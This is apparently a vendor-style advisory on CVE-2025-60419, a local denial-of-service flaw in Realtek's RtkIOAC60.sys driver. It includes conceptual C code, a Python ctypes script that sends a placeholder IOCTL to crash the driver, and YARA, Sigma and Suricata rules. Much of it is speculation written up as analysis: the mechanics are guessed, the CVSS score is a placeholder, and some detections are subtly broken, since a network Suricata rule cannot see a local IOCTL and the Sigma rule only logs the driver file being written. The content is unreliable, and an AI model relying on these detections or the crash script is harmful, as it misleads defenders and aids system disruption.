CVE-2025-60419

Executive Summary

CVE-2025-60419 is a denial-of-service (DoS) vulnerability in the Realtek NDIS Usermode IO driver (RtkIOAC60.sys, version 6.0.5600.16348). A local authenticated attacker can send a crafted IOCTL request to the driver, causing the system to crash or become unresponsive. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for local access and the potential for system instability. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a hardware driver component from Realtek, which is distributed through Windows Update and OEM channels. The supply chain risk is low as the driver is not a software library but a kernel-mode driver.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder, assessed as 5.5 medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Local (AV:L) – attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs a standard user account.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – system crash or denial of service.

Threat Level: Medium. Exploitation requires local access, but can cause significant disruption.

Deep Dive & Mechanics

The vulnerability resides in the RtkIOAC60.sys driver, which is part of the Realtek NDIS Usermode IO framework. This driver handles IOCTL requests from user-mode applications to interact with network hardware. The issue is an improper input validation (CWE-20) in the IOCTL handler. A crafted IOCTL request can trigger a null pointer dereference or an out-of-bounds memory access, leading to a system crash (Blue Screen of Death).

The driver exposes a device object that user-mode processes can open and send IOCTL codes to. The vulnerable IOCTL code is not publicly documented, but it likely involves a buffer or pointer that is not properly validated. When the attacker sends a malformed request, the driver attempts to access an invalid memory address, causing a kernel panic.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in RtkIOAC60.sys version 6.0.5600.16348. The fix would likely involve adding input validation checks in the IOCTL dispatch routine to ensure that all pointers and buffer sizes are within valid ranges before use.

Vulnerable code snippet (conceptual):

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    // No validation of inputBuffer
    // Directly dereference inputBuffer
    ULONG value = *(PULONG)inputBuffer; // Potential crash if inputBuffer is invalid
    // ...
}

Patched code (conceptual):

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    // Validate buffer
    if (inputBuffer == NULL || inputLength < sizeof(ULONG)) {
        Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_INVALID_PARAMETER;
    }
    ULONG value = *(PULONG)inputBuffer;
    // ...
}

Exploitation & Lab Setup

Red Team

No public exploit code is available. To reproduce the DoS, a local authenticated user can send a crafted IOCTL to the driver. The following Python script (using ctypes on Windows) demonstrates the concept:

import ctypes
import ctypes.wintypes

# Open the device
device_name = r"\\.\RtkIOAC60"
handle = ctypes.windll.kernel32.CreateFileW(
    device_name,
    0xC0000000,  # GENERIC_READ | GENERIC_WRITE
    0,
    None,
    3,  # OPEN_EXISTING
    0,
    None
)

if handle == -1:
    print("Failed to open device")
    exit(1)

# Craft a malformed IOCTL request
# IOCTL code is unknown; use a placeholder
ioctl_code = 0x80002000  # Example
input_buffer = ctypes.create_string_buffer(b"A" * 4)  # Small buffer
bytes_returned = ctypes.c_ulong(0)

# Send IOCTL
result = ctypes.windll.kernel32.DeviceIoControl(
    handle,
    ioctl_code,
    input_buffer,
    len(input_buffer),
    None,
    0,
    ctypes.byref(bytes_returned),
    None
)

if result == 0:
    print("IOCTL failed")
else:
    print("IOCTL sent - system may crash")

ctypes.windll.kernel32.CloseHandle(handle)

Note: The exact IOCTL code is not public. This script is for educational purposes only.

Blue Team

• Monitor for unusual IOCTL requests to \\.\RtkIOAC60 from non-system processes.
• Use Sysmon to log process creation and driver load events.
• Enable Driver Verifier to detect invalid IOCTL handling.
• Deploy EDR rules to alert on kernel crashes (BSOD) and driver-related events.

Indicators of Compromise (IOCs)

• File Hash (SHA-256): RtkIOAC60.sys version 6.0.5600.16348 – hash unknown (not provided).
• Registry Key: HKLM\SYSTEM\CurrentControlSet\Services\RtkIOAC60
• Device Object: \\.\RtkIOAC60
• Event ID: Windows Event ID 1001 (System crash) with bugcheck code related to driver.
• Process: Any user-mode process sending IOCTL to the driver (e.g., explorer.exe, cmd.exe).

Detection Engineering

YARA Rule

rule CVE_2025_60419_RtkIOAC60_Driver {
    meta:
        description = "Detects vulnerable RtkIOAC60.sys driver version 6.0.5600.16348"
        author = "Valters IT"
        date = "2025-04-01"
        hash = "unknown"
    strings:
        $version = "6.0.5600.16348" ascii wide nocase
        $driver_name = "RtkIOAC60.sys" ascii wide nocase
    condition:
        $driver_name and $version
}

Sigma Rule

title: CVE-2025-60419 - Realtek NDIS Driver IOCTL DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-60419 via IOCTL to RtkIOAC60.sys
author: Valters IT
date: 2025-04-01
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|endswith: 'RtkIOAC60.sys'
    condition: selection
falsepositives:
    - Legitimate driver updates
level: medium

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-60419 - Realtek NDIS Driver IOCTL DoS"; content:"RtkIOAC60"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the RtkIOAC60 driver if not required. Use sc stop RtkIOAC60 and sc config RtkIOAC60 start= disabled.
• Short-term: Restrict local user permissions to prevent untrusted users from accessing the system.
• Long-term: Apply a patch from Realtek when available. Monitor vendor advisories.
• Workaround: Use a firewall or endpoint protection to block unknown processes from sending IOCTL requests.

Valters IT